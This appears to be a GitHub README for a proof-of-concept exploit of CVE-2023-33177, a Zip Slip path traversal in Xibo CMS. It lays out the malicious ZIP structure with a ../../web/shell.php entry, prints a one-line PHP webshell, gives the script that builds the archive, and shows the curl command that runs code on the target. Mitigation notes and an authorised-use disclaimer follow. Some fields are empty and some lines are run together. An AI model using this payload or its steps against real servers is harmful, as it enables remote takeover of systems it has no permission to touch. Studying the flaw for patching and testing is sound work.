complexusprada/xibo-cms-zip-slip-rce-exploit-cve-2023-33177This exploit demonstrates a **path traversal vulnerability** in Xibo CMS (CVE-2023-33177) that allows remote code execution through malicious layout imports.
This exploit demonstrates a path traversal vulnerability in Xibo CMS (CVE-2023-33177) that allows remote code execution through malicious layout imports.
CVE/Advisory: CVE-2023-33177 Affected Versions:
Vulnerability Type: Path Traversal (Zip Slip) Impact: Remote Code Execution (RCE)
Xibo CMS allows authenticated users to import layout files via ZIP archives. The import functionality fails to properly validate file paths in the mapping.json file, allowing an attacker to write files outside the intended library directory using path traversal sequences (../../).
mapping.json: Uses as the file path../../web/shell.phplibrary/../../web/shell.php/var/www/cms/web/shell.phpZip contains: library/../../web/shell.php
Xibo reads: library/ + ../../web/shell.php (from mapping.json)
Xibo writes: /var/www/cms/library/temp/ + ../../web/shell.php
Result: /var/www/cms/web/shell.php ← Webshell in web root!
python3 create_exploit.py
This creates exploit.zip containing the malicious layout package.
xibo_admin / password)exploit.zipcurl 'http://localhost:8080/shell.php?cmd=id'
The exploit ZIP contains:
exploit.zip
├── layout.json # Valid Xibo layout definition
├── playlist.json # Empty playlist (triggers JSON import)
├── mapping.json # Contains path traversal payload
└── library/
└── ../../web/
└── shell.php # PHP webshell (gets extracted to web root)
The embedded webshell is minimal:
<?php system($_GET["cmd"]); ?>
Access it via: http://<target>/shell.php?cmd=<command>
Patched Versions:
Mitigation Strategies:
.. or absolute pathsThis exploit is provided for:
Do not use this exploit against systems you do not own or have explicit permission to test.
complexusprada November 2025